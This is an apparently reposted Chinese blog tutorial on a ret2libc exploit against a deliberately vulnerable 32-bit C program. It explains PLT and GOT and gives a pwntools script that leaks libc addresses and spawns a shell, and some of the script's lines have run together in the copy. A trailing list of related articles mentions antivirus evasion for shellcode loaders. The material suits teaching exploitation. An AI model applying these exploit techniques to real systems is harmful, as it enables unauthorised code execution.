ret2libc過地址隨機化

程序:

#include<stdio.h>
char buf2[10] = "this is buf2";
void vul()
{char buf1[10];gets(buf1);
}
void main()
{write(1,"sinxx",5);vul();
}

很明顯,gets函數存在溢出
編譯:

gcc -no-pie -fno-stack-protector -m32 -o 9.exe 9.c

我們要用溢出,執行system("/bin/sh")函數

0x01 了解plt和got表

具體了解,看這篇文章:https://blog.csdn.net/qq_18661257/article/details/54694748

為了更好的用戶體驗和內存CPU的利用率,程序編譯時會采用兩種表進行輔助,一個為PLT表,一個為GOT表,PLT表可以稱為內部函數表,GOT表為全局函數表(也可以說是動態函數表這是個人自稱),這兩個表是相對應的,什么叫做相對應呢,PLT表中的數據就是GOT表中的一個地址,可以理解為一定是一一對應的,如下圖:

在這里插入圖片描述

實際當中并不是,這里只是為了方便理解,畫成這樣,具體可看上面的文章

PLT表中的每一項的數據內容都是對應的GOT表中一項的地址這個是固定不變的,到這里大家也知道了PLTPLT表中的數據根本不是函數的真實地址,而是GOT表項的地址,好坑啊。

其實在大家進入帶有@plt標志的函數時,這個函數其實就是個過渡作用,因為GOT表項中的數據才是函數最終的地址,而PLT表中的數據又是GOT表項的地址,我們就可以通過PLT表跳轉到GOT表來得到函數真正的地址。

我們反匯編我們的程序,其中有下圖中的write<@plt> ,這個地址并不是write函數真正的地址,這個是GOT表存放write函數地址數據的地址。
在這里插入圖片描述
我們要記得plt表中并不是函數真是的地址,got表才是函數真正的地址,plt給的地址是來尋找got表中真正的函數地址。

0x02 分析

我們來看看保護機制:

在這里插入圖片描述
雖然關閉了PIE,這個只是對這個程序來說沒有PIE,當我們去執行system("/bin/sh"),動態調用,這個還是有地址隨機化的。

我們要找到system和/bin/sh真正的地址,采用利用溢出去執行。

0x03 找到溢出點

利用pade生成100個字符

pattern create 100

在這里插入圖片描述
使用命令c,讓程序繼續執行,復制我們生成的字符串,注意單引號不要復制
在這里插入圖片描述
溢出了,查看現在的EIP,AA(A
使用命令查看溢出位置

pattern offset AA(A

在這里插入圖片描述
溢出在22

0x04 構造poc

from pwn import *
context(arch="i386",os="linux")
p=process("9.exe")
e=ELF("9.exe")		#加載9.exe這個文件
addr_write=e.plt["write"]	#找到plt表中write地址
addr_gets=e.got["gets"]		#找到got表中get地址
addr_vul=e.symbols["vul"]	#找到vul函數地址print pidof(p)
offset=22
pause()payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
p.sendlineafter("sinxx",payload1)	#接收sinxx后發送payload1
gets_real_addr=u32(p.recv(4))		#將接收到的字符變成32位地址libc=ELF("/lib/i386-linux-gnu/libc.so.6")
rva_libc=gets_real_addr-libc.symbols["gets"]
addr_system=rva_libc+libc.symbols["system"]
addr_binsh=rva_libc+libc.search("/bin/sh").next()payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)
p.sendline(payload2)
p.interactive()

解釋:

  • addr_write=e.plt[“write”] #找到plt表中write地址
    這個是找plt表中的地址,程序調用函數是先調用plt表中的地址,然后根據這個去找got表中真實的函數地址。
  • addr_gets=e.got[“gets”] #找到got表中get地址
    這個是找到gets函數真正的地址,是為了后面找system和/bin/sh真實地址做準備的
  • rva_libc=gets_real_addr-libc.symbols[“gets”]
    gets_real_addr是gets真實的地址,libc.symbols[“gets”]是gets在libc中的偏移地址,真實地址與偏移地址是不一樣的,我們可以根據這個差,然后找到system和/bin/sh在libc中偏移地址,兩者在相加就找到了system和/bin/sh的真實地址。

注意:poc中一共執行了兩次poc,一次是執行按照執行順序執行力一次,一次是payload1中執行執行了一次

很多人就有疑問了,我們為什么不直接找到system和/bin/sh在got的地址呢?

我們也想找到啊!關鍵它得有啊!
為了更好的用戶體驗和內存CPU的利用率,程序編譯時會采用兩種表進行輔助,一個為PLT表,一個為GOT表,PLT和GOT是程序編譯時采用,所以system和/bin/sh并不在程序中,所以沒有。

結果:
在這里插入圖片描述

0x05 總結

我們利用溢出執行了程序沒有的函數,雖然程序中是沒有地址隨機化的,但我們利用溢出去執行的函數所在的模塊是有的,所以我們要把每次的變化求出來。

我們根據程序使用了libc庫,libc庫中有system和.bin/sh,所以我們可在libc找到system和.bin/sh,在libc中,我們找出system和.bin/sh的地址是偏移地址,但不是真正的地址,所以我們還需要計算出偏移量,根據gets函數,找到gets在GOT表中真實的地址,再找出在libc庫的偏移地址,兩者相減就找出了偏移量,最后根據偏移量和出system和.bin/sh的偏移地址,最終找到system和/bin/sh真實地址

關鍵是理解plt、got和偏移地址的關系,其他很好理解

注:自己理解,如有錯誤,請指出

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/379990.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/379990.shtml
英文地址,請注明出處:http://en.pswp.cn/news/379990.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

[導入]Lucene并發訪問

作者: yagesi 鏈接&#xff1a;http://yagesi.javaeye.com/blog/165604 發表時間: 2008年02月27日 聲明&#xff1a;本文系JavaEye網站發布的原創博客文章&#xff0c;未經作者書面許可&#xff0c;嚴禁任何網站轉載本文&#xff0c;否則必將追究法律責任&#xff01; 在Luce…

Python程序計算給定文本中單詞的出現

Given a text (paragraph) and a word whose occurrence to be found in the text/paragraph, we have to find the how many times word is repeated in the text. 給定一個文本 (段落)&#xff0c;其出現在文本/段落被找到的單詞 &#xff0c;我們必須找到如何詞多次在文本重…

js私有共有成員

在小項目中對于JavaScript使用&#xff0c;只要寫幾個function就行了。但在大型項目中&#xff0c;尤其是在開發追求 良好的用戶體驗的網站中&#xff0c;如SNS,就會 用到大量的JavaScrpt&#xff0c;有時JavaScript的工作量勝過了C#&#xff0c;這時寫一堆function,就會顯得很…

Java——IO(打印流)

1&#xff0c;打印字節流(PrintStream)的概述&#xff1a; 打印流可以很方便的將對象的toString()結果輸出并且自動加上換行&#xff0c;而且可以使用自動刷出的模式 System.out就是一個PrintStream&#xff0c;其默認向控制臺輸出信息 2&#xff0c;使用方式&#xff1a; …

MATLAB中的正態分布檢驗

要對一組樣本進行正態性檢驗&#xff0c;在MATLAB中&#xff0c;一種方法是用normplot畫出樣本&#xff0c;如果都分布在一條直線上&#xff0c;則表明樣本來自正態分布&#xff0c;否則是非正態分布。 MATLAB中也提供了幾種更正式的檢驗方法&#xff1a;kstest Kolmogorov-Smi…

遠控免殺專題(29)-C#加載shellcode免殺-5種方式(VT免殺率8-70)

0x00 免殺能力一覽表 幾點說明&#xff1a; 1、表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。 3、由于本機測試時只是安裝了360全家…

kotlin 或 運算_Kotlin程序對兩個數字執行算術運算

kotlin 或 運算Here, we are implementing a Kotlin program to perform various arithmetic operations on two numbers. 在這里&#xff0c;我們正在實現Kotlin程序&#xff0c;以對兩個數字執行各種算術運算 。 Given two numbers a and b, we have to find addition, sub…

2012.1.15---學習筆記

最近學習實踐的內容主要有&#xff1a;1 memcahche的安裝、使用&#xff08;為了減少數據庫壓力而采用的&#xff09;2 linux下的定時任務的配置&#xff0c;crontab3 如何去編寫可配置的php程序&#xff08;加載配置文件&#xff09;1 memcahche的安裝、使用&#xff08;為了減…

WPF界面設計技巧(2)—自定義漂亮的按鈕樣式

上次做了個很酷的不規則窗體&#xff0c;這次我們來弄點好看的按鈕出來&#xff0c;此次將采用純代碼來設計按鈕樣式&#xff0c;不需要 Microsoft Expression Design 輔助了。 首先打開 Microsoft Visual Studio 2008 &#xff0c;新建一個WPF項目&#xff0c;在上面隨便放幾個…

ropgadgets與ret2syscall技術原理

程序&#xff1a; #include <stdio.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/syscall.h> void exploit() { system("/bin/sh"); } void func() { char str[0x20]; read(0,str,0x50); } int…

uboot load address、entry point、 bootm address以及kernel運行地址的意義及聯系

按各地址起作用的順序&#xff0c;uboot引導linux內核啟動涉及到以下地址&#xff1a; load address&#xff1a;entry point&#xff1a; 這兩個地址是mkimage時指定的bootm address&#xff1a;bootm為uboot的一個命令&#xff0c;以此從address啟動kernelkernel運行地址&…

Java——集合(Map集合的兩種迭代)

一&#xff0c;Map集合的第一種迭代 Map集合的第一種迭代&#xff0c;通過get(key)方法&#xff0c;根據鍵去獲取值 package com.wsq.map;import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Set;public class Demo2_Iterator { …

如何使用兩個堆棧實現隊列_使用兩個隊列實現堆棧

如何使用兩個堆棧實現隊列Stack and Queue at a glance... 堆疊和排隊一目了然... Stack: 堆棧&#xff1a; The stack is an ordered list where insertion and deletion are done from the same end, top. The last element that entered first is the first one to be del…

接口pk抽象類

作為開發者&#xff0c;誰從來沒有陷入過周而復始地爭論應該是使用接口還是抽象類&#xff1f;這是一場永無休止的爭論&#xff0c;不同陣營的人總是堅定地堅持自己的立場。應當使用接口還是抽象類&#xff1f;對于初學者來說那更是滿頭霧水。這個問題應該考慮一下幾個因素&…

匯編shr命令

右移命令 比如&#xff1a; mov eax,10 shr eax,0x2上面的命令是將eax的值右移兩位&#xff0c;怎么左移呢&#xff1f;首先將eax的值轉為二進制10------》1010&#xff0c;然后右移兩位變成10&#xff0c;所以執行為shr命令&#xff0c;eax的值為十進制的2

iBatis入門和開發環境搭建

iBatis 的優缺點&#xff1a; 優點&#xff1a; 1、 減少代碼量&#xff0c;簡單&#xff1b; 2、 性能增強&#xff1b; 3、 Sql 語句與程序代碼分離&#xff1b; 4、 增強了移植性&#xff1b; 缺點&#xff1a; 1、 和Hibernate 相比&#xff0c;sql 需要自己寫&#x…

Python | 程序以字符串長度打印單詞

Given a string and we have to split the string into words and also print the length of the each word in Python. 給定一個字符串&#xff0c;我們必須將字符串拆分為單詞&#xff0c;并在Python中打印每個單詞的長度。 Example: 例&#xff1a; Input:str "Hell…

Java——遞歸練習

#練習一&#xff1a;從鍵盤接收一個文件夾路徑&#xff0c;統計該文件夾大小 ###分析&#xff1a; ####每句話相當與每一個要求&#xff0c;每一個要求用一個方法去實現 第一個方法 * getDir()* 第一個要求&#xff1a;從鍵盤接收一個文件夾路徑* 1&#xff0c;創建鍵盤錄入對…

C# 里怎樣得到當前執行的函數名,當前代碼行,源代碼文件名。

得到函數名&#xff1a; System.Diagnostics.StackTrace st new System.Diagnostics.StackTrace(); this.Text st.GetFrame(0).ToString(); 得到代碼行&#xff0c;源代碼文件名&#xff1a; StackTrace st new StackTrace(new StackFrame(true)); Console…

PHP中單引號和雙引號的區別

0x01 單引號 單引號里面的內容不會被解釋&#xff0c;不管什么內容&#xff0c;都當做字符串處理 <?php$abc1234; $stradc$abc; echo $str;輸出 0x02 雙引號 雙引號里面的內容會被解釋&#xff0c;像一些換行&#xff08;\n)、數據元素等都會被解釋 <?php$abc1234;…